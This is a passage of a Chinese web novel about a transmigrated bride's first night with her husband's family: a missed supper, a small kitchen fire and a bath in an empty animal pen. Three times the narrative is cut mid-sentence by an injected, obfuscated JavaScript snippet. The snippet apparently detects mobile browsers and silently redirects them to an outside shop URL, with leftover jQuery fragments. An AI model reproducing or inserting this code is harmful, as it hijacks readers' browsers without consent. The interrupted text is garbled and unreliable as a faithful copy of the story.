“你这个憨子!男人不找个女人哪里成?”白氏给气笑了,“女人的好处,别的不说,只说娘老了,等我走后,再等莲荷莲叶也嫁了人,莲安也娶了媳妇分家另过。这家里就只你一个了,不得孤独终老?你这一脉也断了香火……”白氏逐渐泣不成声,捂着嘴低低的嚎哭起来。 刀莲生没再劝他娘不要哭,只把一把斧头抡得虎虎生风。 一气劈了七八节原木,才又听到那男人低低的声音:“我原说了不成亲的,免得祸害人。看嘛,祸害了我们一家不说,也祸害她,可您非要……” “祸害了又怎么了?”白氏忽的拔高音量,搁在盆里的脚也狠狠一跺,带起一大片水花,洒了一地出来。白氏怒火三丈道:“你这是还心疼起她了?嫁出去的女人就是泼出去的水。她已经进了我们刀家的门,就是死也要死在刀家!” 海棠心头一跳。 婆家娘家,这是两头都要她死在刀家门里才行哟! 得,好好待这儿吧,至少这男人看起来不坏,日子应该还有点盼头,不然她就要想法子跑路了。 刀莲生抬头看了眼母亲。 白氏自觉失态,抬手抹了把灰白的头发掩饰不自在。微微叹口气,缓了语气,絮絮劝着儿子,“我们娶她,也是做好事。你没听到媒婆说她之前的情况么?她娘家人和前头那个婆家都不待见她,她正寻死觅活,我们是救了她一命。她应该对我们刀家感恩戴德才是。你别再想着退婚把骡子要回来了,人家不会还给我们的。” 刀莲生许久都未再作声,只闷头劈柴。 海棠看刀莲生脚旁还有一大堆原木,他怕是要劈完了才会歇息。 脚盆子里的水没冒热气了,白氏该当很快就会洗好脚了。 海棠对白氏心头发怵,不愿正面接触她,于是悄悄返回 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14053671|149096||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 屋子,想着等白氏洗好了脚回屋睡了,她再到厨房来。 那口盖着锅盖的铁锅里一定有给她用热水温着的吃食。 海棠美滋滋的想着,躺枕头上,双脚叠在一起晃着脚丫子,手指对着手指,一只羊,两只羊,三只羊……闭着眼睛,把一百只羊翻来覆去数了四五遍,饿得前胸贴后背,没等到刀莲生来喊她去吃饭。 又爬起来溜下床,穿鞋走出去,打开布帘子看堂屋,静悄悄的,那火塘里的明火已经完全灭了,只灰堆里犹有火星子一闪一闪。 再走到堂屋门口扒着门框看灶屋,门口已经没有灯光了。 海棠再度大吃了一惊。 这很明显,刀家人好似全都已经歇下了啊。 回想了想,先前她似乎恍惚听见帐顶上的楼梯板有走动声。只她以为是她那两个小姑子在楼上的脚步声响。原来其实是婆婆上楼睡觉了? 海棠哭笑不得,难不成不叫她吃饭,也是惩罚她的一个步骤吗? 不过那刀莲生呢?他是她原身的丈夫,不可能夫妻两个分开睡觉啊。 看这一家子竟是收拾收拾都已经睡下了的意思,海棠哪里还能等?穿上湿冷的绣花鞋又出了堂屋往灶房摸去。 月亮挂在中天,寨子里很静谧。不知道躲在哪里的蛐蛐在石头缝里蛐蛐的叫,右手边的草棚子里那条灰色的水牛在牲畜圈里悠闲地喝水,不是发出噗噗的喷鼻息的声响。 海棠摸到灶房,看里头果然没人了。灯也吹了。地上一堆木材也没收拾,劈了的,没劈的,就这么原地摆着,刀莲生不见踪影。 她饿得发慌,马上开始到处找吃的。 先直奔那口大铁锅。 揭开锅盖,里头竟空空如也。 刷洗得很干净,连水渍都抹干了。 赶紧又去翻橱柜,里头只有碗碟。 她像没头苍蝇一样,在不大的灶房里四处翻箱倒柜,掏掏摸摸。 “你在做什么?”忽然身后一个声音问。 海棠吓得一叫,片刻后意识到来者是谁。回身来,拍着胸口说:“你不要这样悄咪咪地出现在人家背后好不好?我魂儿都给你吓跑了。” 刀莲生语气平板地又问了一遍,“怎么还不睡觉?你在做什么?” 呵,果然是要惩罚她呢。他都问她睡觉的事情了,提都不提晚饭。 算了。毕竟那会儿婆婆打她,这男人帮她在婆婆面前掩饰,她欠他一个人请。今晚被罚饿一顿,估计婆婆和男人也是说过了的,两人达成了一致。 海棠不好说自己饿了在找吃的。若是说了,万一人家来一句:“你看你干的好事,还好意思吃饭?”那不是自讨没趣儿? 婆婆气得打她,总要给婆婆找回点面子。她又是硬赖着回来的,也要给刀莲生点面子。 于是,海棠改口说:“我想洗个澡。喂,家里哪里是洗澡的地方啊?” 刀莲生望定她:“我还以为你又要……”他没说完,话到此停住了。 海棠接腔:“又要跑回娘家?你怎么会这么想?”亦紧盯着他。 那道黑影沉默了有一分钟,没有回答她,最后只含糊的说了两个字“外面”,便转身走了。 海棠暗翻个白眼儿,忙追出去,“外面是哪里?不会是就在这地坝里露天席地洗吧?哦上帝啊,请原谅这个话都不好好说清楚的男人吧,一切都是我的罪过。” 刀莲生:“……” 11. 第 11 章 刀莲生说可以去对面牲畜圈里洗澡。鉴于路上她嫌弃他吃的那口豆饼脏,他特意啰嗦了句,“圈里打扫得很干净。地上铺了石板,还有草帘子遮挡。” 成功堵住了海棠想要挑刺的嘴。 但海棠并非刻意找事,她刚才就是随口一句调侃。 她姥姥家在乡下,她其实知道乡下人通常都是在露天坝里洗澡的。 农村里各家各户的院坝就是晒场,要晒谷子、麦子、玉米、豆子等粮食,所以地坝一般都会硬化,打水泥地或者铺上石板。在这样的地坝里洗澡,清清爽爽,不会溅一身泥尘,脚上也不会踩一脚的湿泥巴。 除了院坝,讲究的妇女,特别是大姑娘和小媳妇们,担心村里的单身汉子和老鳏夫在自己洗澡的时候偷看,要么在灶屋后门的阴沟边洗,要么去茅厕洗。 农村的厨房大都是单独一幢建筑物,有两个门,前门连接院坝,后门连接阴沟。门口都铺得有一块长方形的石板,后门开门出去就阴沟。洗澡的时候蹲在石板上,舀水淋浴,洗澡水顺着沟坎就流进了阴沟,再渗到地下层去,都无需收拾扫水。 厨房后门的地方一般要么是个坡坎,要么种了一大片竹林。这么隐蔽的地方,一点不用担心洗澡的时候会被人看到。 茅厕也是洗澡的好地方。 茅草加了盖还搭了围挡,地上也是铺的石板。两块长石板中间通常留有一条掌宽的缝隙,便于流泻污秽东西。下面就是粪坑,跟牲畜圈下面的粪坑是连在一起的。所以往往农村的茅厕基本上跟牲畜圈连着一起,不过常在房子北面、阴沟那边。晚上如果起夜拉屎窝尿就很不方便,必须要点盏油灯或者拿个手电筒。夏天粪坑周围蚊虫多,还有蛇鼠出没。冬天又冷得打抖。女人胆小害怕,男人又懒,不得陪着女人起夜。讲究的人家坚持去茅厕,不讲究的就在卧室床脚那头搁个粪桶。但是农村人基本不太讲究的多,粪桶又比较大,懒得每天倒粪桶,是以常年卧室里一股尿骚味儿。 但是如果家里正好有空置的猪圈牛圈之类的牲畜圈,那就是最好的洗澡的场所了。 牲畜圈里都是铺的石板,为了方便打扫粪便。角落里有个大洞,拿把竹子扫帚往洞口扫几下,再提一桶水往圈里一冲,粪便污水就很容易地那个洞口漏到下面粪坑里了。 刀家的院坝没有硬化,白天又被雨水把泥层泡软了。要是在地坝里洗,一瓢水淋下去,不得溅一身的泥点子啊? 今晚的月亮又这么亮,露天洗澡,需要勇气。 所以刀莲生说可以去牲畜圈里洗澡,清清爽爽不说,还不用担心春光外泄,这在农村真是可以的了,海棠没啥好挑的。 不过海棠还是有话说,又问了一连串愚蠢的问题。 “哪里烧水呀?” “用什么装洗澡水呀?” “水在哪里舀啊?” 刀莲生走不开,只好站在门口,等她问完所有想问的。 海棠也没啥好问的了。 揭开门口水缸上的盖子,用葫芦瓢舀了大半锅水,估摸着可以了,把瓢往水缸里一扔,就走到灶膛那边,准备生火烧水了。 但手在灶台上摸了半天,却到处找不到生火的工具。 海棠不知道,她做的每一步都看在刀莲生眼里。她每做完一件事,他就蹙一下眉头。 比如,她把盖水缸的圆木板揭开后直接立在泥地上,他蹙一下眉。她把瓢撂水缸里,他又蹙一下眉。灶头上揭开的锅盖也不盖,她就要去生火,他就犹豫着要不要提醒她先把锅盖盖上了再去烧火不迟。 刀莲生心里纠结着这事儿,一开始看见海棠的手在灶台上摸来摸去,不知道她要干什么。迷茫地看了半晌,明白了,走进来,很无语地抓起近在她眼前的、而且是她摸到过好几次的东西,拿手里打了两下,火星子飞溅,灶屋一下子亮了。 他用引着的火把灯碗里的灯芯点燃,然后手里的东西丢给她,“火镰就在你眼前的。” “……哦。”海棠接住,灯下看了看。 七八公分长、五公分宽一个金属玩意儿,比较薄,很像把小斧头形状的一块刀片,但刀刃很钝,没开锋。 刀莲生看她在灯下把那把火镰翻来覆去摆弄良久,迟迟不拿来生火,又蹙一下眉头。 是不会用?还是说汉人生火的方式跟他们这里的不一样? 皱着眉头伸手又拿回去,眼神儿示意海棠看着,然后他在灯下示范了两次,怎么用火镰打出火花,怎么引燃艾绒。完了后,又丢还给她。 海棠在灯下自己用火镰打了好几下,终于打出火星子了。眼白一翻,把火镰扔在灶头上,说:“我就在油灯上点火就是了啊,还费力气打这玩意儿干嘛?哎,我真是蠢。” “……” 刀莲生觉得她分明是在骂他蠢。 好吧,这次是他有点蠢了。 转身朝外走。 但是他还没走出厨房,海棠就已经搞得两个人都鸡飞狗跳了。 引火用的是竹笋壳,极易点燃,又燃得很快。 灶膛前有个烂背篓,里面装满了莲叶一早出去捡回来引火的笋壳。 海棠认得那东西,知道它通常是用来引火的。伸手就抓了一把。 只她没想起笋壳上有很多褐色的绒毛,粘在皮肤上刺痒刺痒的,还会传染似的,挠一下原来痒的那位置就开始传染了,一痒一大片,到处都刺痒起来。 海棠因为一把抓的笋壳,壳上绒毛自然毫不客气地沾上她手上大片肌肤,手掌、手腕、手臂都痒了起来。另一只手去挠痒痒,也给沾上了绒毛,到处都痒了起来。 她龇牙咧嘴一边挠着手上的痒痒,一边伸手去油灯上点笋壳。 一心两用,就没注意。那么一大把笋壳,往油灯上一支,呼啦一下子就腾烧起来,她啊的一声尖声利叫,扬手甩掉已着火的笋壳就往外跑! 她往哪里扔不好?偏偏往那个装满了笋壳叶子的背篼里扔,顿时,火一下子烧起来了。 这得了?火光映红了一面墙! 刀莲生大惊失色,直接捧起门口那口大水缸,朝着一背篓的大火猛地一倾! 即将引 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14053672|149096||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 发的火灾有惊无险地扼杀在摇篮里。 火和水碰撞,也把灶膛前的草木灰激起来一大团。 海棠和刀莲生两个在灯火中乱舞的灰尘中四目相对。 海棠悻悻:“你力气真大。这么大一口缸都能徒手抱起来。” 她锅盖也忘了盖,刀莲生望着半铁锅水面上飘浮着的草木灰,压了压太阳穴,“你还是出去吧。” 就是说洗澡水他来烧了。 海棠大喜过望,脸皮厚,顺着他的视线看向铁锅,努努嘴,说:“我感觉半锅水好像不太够。你给我再掺点,多烧些。我要两大桶热水。” 黑脸膛的青年脸色更黑了。 她还要提要求? 海棠看懂了他的脸色。 想来这世界,只怕没哪个女子会指使丈夫给自己烧洗澡水吧。 他是没娶过老婆的,对夫妻相处之道的认识就如同一张白纸。现在,莫不如趁着他还是一张白纸,赶紧画上她想画的画卷。 “怎么了?丈夫疼妻子天经地义呀,而且我俩才新婚嘛,你就不能给我烧洗澡水么?”海棠一脸无辜又含羞带怯地说,“走了一天的路,浑身汗津津的,都臭死了,我就想舒舒服服地洗个热水澡而已。” 刀莲生默了默,片刻后,咕哝:“怎么要两桶?” 海棠说:“一桶肯定不够啊。第一桶先洗个头道,第二桶再清洁一遍。对了,你们这里有那个没有?洗澡抹在皮肤上祛油除汗的玩意儿,肥皂香皂之类。” 肥皂香皂?她是说皂角么?没有。对他的家而言,这太奢侈。 刀莲生拿葫芦瓢将锅中水面上漂浮着的灰尘尽量舀出来倒掉。水缸里的水只剩了一小半,水不能全换了,今晚只能让她将就。剩下那点缸里的水都倒进锅里,盖上锅盖,然后去牛圈里抱了两捆谷草进来,坐到灶膛前,开始生火烧水,再没理过海棠一回。 好吧,没有就没有,说个话吱个声儿能掉你一块肉? 海棠看他进进出出忙碌,一撇嘴,也不好说什么了。 不管他了,回屋去把换洗的衣服找出来。 “哦对了,洗澡水烧好了后,麻烦你给提到牛圈里哈。”说完一甩大辫子,转身扬长而去。 刀莲生没吭声,往灶膛里塞了把谷草,看着那火又旺起来,方才抬眼看看灶房门口,那里已经空了。 只有柔和的月光静静地洒在地面上,门口一片莹白,如水银泻地。 一个人的时候,又是在这么静谧的夜里,就容易胡思乱想起来。 他先一个想起说亲的时候,媒婆当时说起她,说她是傅家庄一枝花,不但长得好看,又是如何如何的勤劳贤惠,家务针线、田庄地里,无一不会,无一不精。媒婆说她是出得厅堂、入得厨房的一个女人,十里八村找不出第二个能跟她媲美的。错过了这个村就没有那个店,他算是捡到宝了,催促着他要赶紧把人定下来。 又想起白日走时岳母叮嘱他的那话,她打小娇生惯养,要他多担待些…… 刀莲生忽然有种受了狠狠诈骗的感觉。 12. 第 12 章 刀莲生给她带回来的那个蓝色包袱放在衣柜里。 衣柜的样式很简单,没有刻花、没有镶金包银。上下拉通了就两扇大柜门,中间一把铜锁,锁未上,简单粗糙。或者说,简约大方。 这是她头一回打开这个约两米高的衣柜,本以为里面会塞满了新被子、新衣服、红艳艳的四件套等等之类的东西。 因为这是新房嘛,而且这是新房里唯二的家具之一。新人成亲,男女双方家庭都该会为新人置办点上床用品和个人穿戴的吧。 但谁知道打开后发现,里面竟一大半都空着。 柜子整体分上中下三个空间,下面叠放着两床被面半新不旧的棉被。不大厚,看着就只两三斤左右。 上面的空间,左边是刀莲生寥寥几样不是黑就是蓝的旧衣物。好在有绣花,故而乍一看,显得花里胡哨的,掩盖了衣服料子的粗糙陈旧和染色不匀。只是海棠随便翻了翻,长袖短袖,薄衫旧袄,每样几乎只有一套,换都没得换的。 他的衣服旁边就搁着他给她带回来的那个包裹。 衣柜中间是左右各两个抽屉。 海棠拉开看了下,里头是男人的零碎小穿戴,包头布、绣花布包、阔腿短裤——估计是他的内裤,好几条,这玩意儿倒是多,说明他换得勤。 另外,其中一个抽屉底下竟还压着一双崭新的布鞋。 蓝色粗布为面,厚厚的千层底,鞋头微翘,前脸镶有立体状的如意云朵,云形绣得曲线流畅自如。鞋跟后面也绣着如意云纹。整体十分精美,做工精致。——嚯,这不就是书上常提到的古人喜好的那种登云履么? 如意云纹显然不是她见过的那些碧约寨人身上所绣的纹样,汉人喜欢这个纹样,它象征吉祥富贵,不光是刺绣,在瓷器、家具和首饰上也经常出现。 那么,这双鞋是新娘子送给新郎的咯?? 海棠脸红了。 据说新娘子出嫁前要给未来的丈夫做鞋,是亲手做。 这鞋做得如此精美,鞋头的如意纹还是立体的,云彩绣得像活的,可见做鞋的女子不但绣工棒棒的,且充满了巧思,心灵手巧。 她把那双登云履拿在手上反复把玩儿,第一次感受到“不如别人”的赧然。 刀莲生退婚,甚至都把她的东西打包了带到她娘家,却没有退还这双鞋,是忘了?还是舍不得退还? 哈,谁说那男人木讷呢。能“周到”地想到把她的东西打包送过去,免得她还回来拿,会想不起这双新娘子送给他的鞋?人家闷骚着呢! 海棠解开自己那个蓝底白花粗布的包袱皮,翻看了一下,里里外外两身衣裳,还有一双黑色绣花鞋。鞋面上很普通的花卉纹,精美程度就比那双男鞋差远了。 加上脚上这双红色绣花鞋,统共两双鞋,聊胜于无,跟衣裳一样,有得换就行。 海棠把那两套衣服拿出来研究了下怎么穿,中单、亵衣、衫子、下裙、褙子。怎么搭配上裳下裙,怎么搭配内外衣服,又怎么系带,怎么束腰,就这两身衣服她都研究了半天。 庆幸身在穷人家,陪嫁的衣服不多。这要是几笼几箱衣服,外加首饰之类,出个门,应个宴,都还得先考虑半天哪种是适合赴宴的,哪种是平常穿的,另外她还要考虑头发怎么梳,头疼啊。 如今,穿成个穷媳妇,倒正适合她现代人的做派。 布帘子外,刀莲生终于来叫她去洗澡了,“水烧好了,给你提到圈里了。” 海棠忙匆匆抓起一套换洗衣服追出去。 出堂屋前想起自己没洗澡帕子,跑到墙角,看准墙上那绳子上挂着的最大的那块土布帕子,估摸着该当是刀莲生的,扯了就走。 牲畜圈就在院坝右手边,一长溜都是。棚子里面用石柱和木头隔成了五六个小圈。其中一个圈关着那头青灰色的水牛,有一半都堆满了柴草和杂物外,还有一个圈空着。这个圈就是刀莲生说的可以洗澡的地方。 草棚子里月光洒进去的少,但只落在栏杆下。圈里面黑影幢幢,特别是因为一半多的地方都堆着柴草农具背篓等乱七八糟的东西,里头虫鸣啾啾。 刀莲生手里托着灶屋那个灯碗,要递给她。但是海棠在牛圈门口站了会儿,不接那盏灯,只对他说:“你还是把我领进去了再走。” 刀莲生瞥了她一眼,没作声,但是大长腿倒是迈开往圈里走。 海棠抱着衣服和帕子亦步亦趋地跟在他身后。油灯如豆,他身躯又高大,完全把海棠挡住了,海棠看不清楚脚下的路,忍不住伸手,半虚半实地掌着了他的腰。扶上去的时候,海棠感到他薄薄的土布衣服下,肌肉发紧。 那头青灰色的水牛正卧在圈里睡觉,圈里光线亮了,它看见人来,顶着牛角艰难而缓慢地站起身来,朝他们哞哞叫了几嗓子,不时喷着鼻息。 洗澡的空圈就在关着水牛的那个圈旁边。 刀莲生将海棠领到圈里,海棠看见地上果然已搁着两个装满了热水的大木桶,灯光里热气蒸腾,一片雾蒙蒙的。其中一个桶的水面,浮着那个葫芦瓢。 圈里空荡荡,没堆柴草等杂物,地上打扫得很干净,没异味儿。四周围的围挡也比另外几个堆了杂物的圈好得多,石头隔断木栅栏都是好好的,没坏。 未必,刀家这个圈是专门留着用来洗澡的啊?不太可能啊,农村人可没这么讲究。 时间长了,家里空地方肯定都要堆东西的。 所以,这个圈只是空置的时间不长,才会这么干净,才会尚未堆满杂物。 海棠随口问,“这个圈原来是关着什么畜生?” “骡子。” “……” 刀莲生把灯给她搁在圈的一个角落的石柱上,便出去了。 海棠环视一眼周围。 石头隔断有一米来高,下面光线被挡住,月光也照不进圈里来。旁边虽关着牛,牛站起身来后,只要两只前脚不趴在隔断上来,牛眼睛就看不到隔壁在洗澡的她。圈也够大,她在圈中央洗澡,也不用担心那头牛伸出蹄子或是舌头摸到自己。 海棠很满意。 挽起袖子,伸手试了试水的温度,有点烫。但是现在是夜里,脱了衣服容易感冒。没有浴霸,正需要这样的温度。她更加满意了。 低头研究了一下身上的衣裙,外裙怎么解开,襦衣怎么脱掉,研究好了,然后就先解下一件,扬手就往圈外头那个柴草堆上丢去,忽然看见对面那堵草帘子墙上,清晰地映出了自己婀娜的身姿,还是放大了的曼妙身影。 油灯是搁在牲畜圈靠近院坝那边那堵隔断的石柱上的,她背对着圈外,昏黄的灯光正好将她的身影打在对面挂起来的那堵屎黄色的草帘子墙上。 影子美好婀娜,曲线优美迷人。 美美地欣赏了不过一分钟,海棠愣住。 那不是外面站在外面暗处的人能把她看个一清二楚吗?? 想也未想,她“噗”的一下就把那油灯吹灭了,回头一叠声大喊:“莲生?莲生?……刀莲生?!” 刀莲生已经走远,进了堂屋,听到外面海棠有些慌的在喊他,出来一,畜生圈里一团暗黑。 他以为灯被风吹灭了,海棠是要他去把灯重新点燃。 他踏踏的小跑过去,先安抚慌乱的女人:“你等会儿,我去拿打火镰来打火。”转身就往灶屋走。 海棠听见到刀莲生的脚步声由远及近,晓得他应该是没看见她脱衣服,放下心来,马上喊住要走的他:“不用。你就守在牛圈外面就行了,等我洗好了你再走。” “……”刀莲生不确定,“你看得见?” “我不需要看。” 刀莲生就不做声了。 海棠费力地把两桶水嘿哟嘿哟地往圈里头搬了几步。一抬头,低垂的草帘子遮住了外面的情况,连月光都看不见了。 海棠不放心,“喂,你在吗?” 刀莲生在原地“嗯”了声。 海棠没听不见,往前走了几步,探头朝外大喊:“刀莲生!” 刀莲生只好近前几步,“我在。” 海棠慌忙蹲下去,“喂,你别离我这么近啊!我不是被你看光了?!” “……”刀莲生控制不住扯了下嘴角,往远处走了几步。 海棠又喊他,“刀莲生?” 刀莲生叹口气,大声道:“你又怎么了?” 她可真是麻烦。 海棠听他的说话声,判断出了他大致的位置,满意了,笑着说:“没啥。你就站那儿不要动哈。” 但是很快她觉得圈里面太黑了,没点灯,又看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14053673|149096||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不到男人,心中着慌,对外喊:“喂,你往前走四五步我瞅瞅你。” 刀莲生:“……” 刀莲生暗叹口气,朝牛圈走近了四五步。 海棠趴在石头隔断上努力往外瞅了两眼,月光下看到他一双大长腿,想了下,自己虽说看到的是他的长腿,但是自己矮,他看到的她,就不一定也是腿了,于是说:“算了,你还是给我把灯点着吧,然后站到先前那个位置去。” 刀莲生不想跟她废话,一声不吭地去了灶屋把火镰拿来,又目不斜视地给她把油灯点着了。 余光瞟到,那女人像防贼一样,弓着胸躲在墙角的暗影处监督着他的动作。 刀莲生有些无语,赶紧目不斜视地往外走,省得给某人觉得他想看她! 但是马上被海棠喊住了,“喂喂,你把灯给我挪个位置!” 这时候她又不怕被他看了? 海棠在圈里走来走去找摄像机机位似的,一会儿指示刀莲生把油灯搁左边石柱上,一会儿叫他搁右边石柱上,一会儿又要他去拿条凳子来,她要把灯搁在猪圈里…… 刀莲生不耐烦了,蹙着两条浓眉把油灯往石柱上重重一墩,“你一会儿这样,一会儿那样,你到底要怎样!” “呃,就,就这样吧,你可以走了……快走啦,我要洗澡了。看嘛,被你一耽搁,水都要放凉了。”她手伸进桶里搅两下,不满地瞪他一眼。 “……” 刀莲生抿紧了嘴往外快步走开。 听见海棠又叫他了:“刀莲生?刀莲生?……喂,姓刀的!” 刀莲生充耳不闻,他上了台阶,在堂屋的门槛上坐下来,听见海棠大声质问他怎么没站在原地守着,怎么不应声了,他统统没理会,靠在门框上看着天上的月亮发呆。 海棠又喊了一声,他还是没理,她那边终于消停下来没喊了。 院坝子静悄悄。 但是好神奇。 虽然牛棚跟堂屋之间有一段距离,但是好神奇,在这静夜里,他把牛棚里的声音听得清清楚楚,她脱衣裳脱裙子的声音,她拿起那只葫芦瓢舀起水来哗啦一下从头淋到脚的声音,她开始哼起了歌儿,一种他从未听过的音乐和节奏,很轻快,很欢乐,歌词又很怪异,“我洗刷刷洗刷刷,嘻唰唰!嗯啊—,冷啊冷!嗯啊—,疼啊疼,我的心,噢,等啊等!请你拿了我的给我送回来,吃了我的给我吐出来……你我好像划拳般谈恋爱,每次都是猜,唉唉唉——” 他慢慢闭上了眼睛。 夜,更深了。 月光如烟般氤氲。 院坝边的凤仙花,在静谧的夜里悄然绽放。 忽然,刀莲生睁开眼来。 不是幻觉,海棠真的又在喊他了。 “刀莲生——,刀莲生——”她拖长了音调,一遍又一遍,像叫魂儿一样。 他暗叹口气,起身走到圈外七八步远处,言简意赅:“说。” “呃,我的布鞋打湿了,可我不想光脚踩在圈里面。家里有没有凉鞋啊草鞋这类的,沾水也不怕的那种?要没有的话,你给我把包袱里那双新布鞋拿来嘛。” 刀莲生转身要去给她拿鞋来换。 脚才迈出去,听到身后海棠又说:“哦,还有还有!我忘了拿肚兜了,麻烦你给我一起拿来一下。我扔在枕头上的,很好认,一块红色的绣着鸳鸯戏水的绸布。” 他没动。 月光下,海棠见他身体僵直。 她奇怪,“咋了?” 男人曳开大步走了。 过了会儿,刀莲生去而复返,远远的,往牲畜圈里丢了几样东西进来。有两样砸在那个空圈门口的石板地上,先后发出啪嗒两声脆响。 海棠张大了眼,借着破烂的茅草棚顶漏下来的月光探身瞧去。 两只木屐,小船似的那么大、那么宽,鞋底板有男人巴掌厚。木头鞋底上戳了三个洞,斜穿着两根麻绳。 哟,还是夹趾拖鞋哟,这么时髦! 木屐的做工十分粗犷就是,明显是刀莲生穿的。一只落在她洗澡的圈门旁,一只落在旁边的石槽旁。 另一样,她要的肚兜,扔得有点远,扑在一堆柴草堆上。肚兜的两根系带长长地吊在半空,左右摇荡得厉害,在悬空中不时绞在一起。 13. 第 13 章 没有香皂沐浴露,只能用清水擦洗身体。 好在水足够热,能有效的去掉身上的油汗。 拆开麻花辫把头发打散,再脱掉皱巴巴的衣裙扔柴草堆上,海棠在昏暗的牲畜圈里借着黄豆般大小的灯火欣赏自己的身体。 虽然穿越的家庭不怎样,但是这身体一看也是养尊处优的,不然皮肤不会这么白、这么光滑细嫩,所以脏也不会脏到哪里去,洗完澡只求祛油除汗身体没有异味儿就成。 海棠把打湿的土布揪成半湿状态,身体用几瓢水淋湿后就用那块土布仔仔细细地把身子擦洗了两道。 洗完热水澡,换上干爽衣裙,走了一整天的疲乏一扫而光。 时间长了,饿过了,到此时她也已经不觉得饿了。 从牲畜圈里钻出来,海棠在院坝里没看见刀莲生,只见那边台阶上的堂屋屋门开着半扇,有摇晃的火光从洞开的地方透出来。 灯碗留在圈里,她抱着换下来的脏衣服脏鞋踩着木屐深一脚浅一脚摸过去,上了台阶准备跨进门槛时差点跟刀莲生撞上。 原来他就侧身坐在堂屋门内,向着对面那扇门。 他手里还抱着个一米来长、手膀子那么粗的竹筒,竹筒的一端抵在地上,另一端,他的嘴埋在筒口,竹筒里发出咕嘟咕嘟的水响声。 竹筒的腰部有一撮火星子,随着他气息的吞吐,猩红的火星子明明灭灭。 海棠好奇:“你这是在干嘛呀?” 刀莲生没理会她。 海棠听见竹筒里咕噜咕噜的声音像锅里的水烧开了似的,觉得有趣儿,忍不住弯腰弯下身去端详那个竹筒,研究它烧开水的秘密,最后指着那搓火星子问:“这是什么?” 刀莲生见不理她还打发不了她了,嘴巴只得离开竹筒口,说:“烟叶。”然后嘴又埋进去深深吐吸一口。 “噢,抽烟的!我知道了!” 海棠猛然想起来了。 这不就是水烟筒吗? 西南地区那一片有些少数民族抽烟就用这种竹筒做的工具。她在网络上见过。 “看起来挺好玩儿的。你给我也抽一口。”她手伸过去就要把烟筒拿走。 海棠不是乖乖女。她妈妈做生意,开过茶楼麻将馆,接触三教九流的人物,烟酒都会。家庭环境是这样,她不可避免耳濡目染,跟着也学会了。 刀莲生抱着烟筒稍侧身,堪堪躲过了她的手,不明意味地瞟她一眼后人站起身来,坐到火塘边去了,只留个宽阔而漠然的后背给她。 海棠:“……” 海棠在门口站了会儿,冷哼声,没事人一样跨进门槛,在他旁边坐下来——也不是故意挨着他坐,实在是凳子正好在他旁边放着,她懒得挪。 一挪要挪一大堆东西,火钳啊木柴啊铜锅啊等等。 这火塘边的布局就是这样,三面摆着凳子,一面堆着杂物。 再说挪凳子跟他拉开距离,就显得很刻意了。她傅海棠不是矫情的人。 “喂,我洗好了。桶、瓢那些都还没收拾。我不知道收哪儿,只好又麻烦你咯。”她理直气壮。 海棠说话的时候,也不知道是怕再被她抢烟筒还是怎么的,刀莲生垂着眼专注地抱着烟筒嘴巴就没离开过。烟筒里的水像滚沸的开水一样,一直咕嘟嘟响个不停。 海棠说话的时候也没看男人。她把脏衣服脏鞋袜随手就搁在她脚边,然后取下包头发的洗澡帕子,把盘起来的湿头发放下来。 帕子再拧了一遍水分,然后包着头发从头往下一顿搓揉擦拭,完了后扔了帕子微歪着头,把墨黑的一把长发捋过来全部披在左胸前。跟着就垂着眼偏着头,以指当梳,张开五指,开始一下又一下地梳理起黏在一起的湿头发。 长发分散垂落,水分汹涌地顺着根根缕缕的发丝往下滑,在发梢上迅速凝结成小水珠。 有那么几滴水珠,在海棠梳理头发时,悄无声息地给甩在了旁边人的眼睫上。 刀莲生微微弓着的身体像是突然受了惊的鹌鹑,猛地瑟缩了下。 他抬起眼睑,不悦地朝旁边人扫去。 却,目光一顿,倏地面色僵住了。 他看见海棠搁在她膝盖上擦过头发的那块布是他的洗脸帕…… 或许这帕子不光被她擦过头发,还极可能已经擦过她的身体了…… 头发梳理好,海棠又拿起他那块帕子塞进脖子里,把头发上滴落下来打湿的耳朵、脸颊、脖颈、锁骨……一番擦拭,最后帕子被她随手扔在她脚旁那堆衣服上。完事后,她就往前探着身子,任一把长发垂在火塘前。 他早已将火塘的木柴又引燃了。 堂屋没点灯,全靠火塘照明。 山里人家就是这样,堂屋火塘里的火是终年不息的。取暖、照明、煮东西,用处可大了。 海棠专注地晾着她的湿长发,刀莲生斜眼看见她被濡湿了的衣襟,轻薄的布料贴服在她胸前曼妙的曲线上。 他默默把视线移开,不期目光又扫到她那双穿着木屐的脚上。 山里人大都打赤脚走路干活儿,一双脚无不又厚实又粗糙,而且黑不溜秋的,毫无美感可言,像老树皮。 以至于他从不知道女人的脚原来竟能这么好看的,好看得叫他移不开眼。 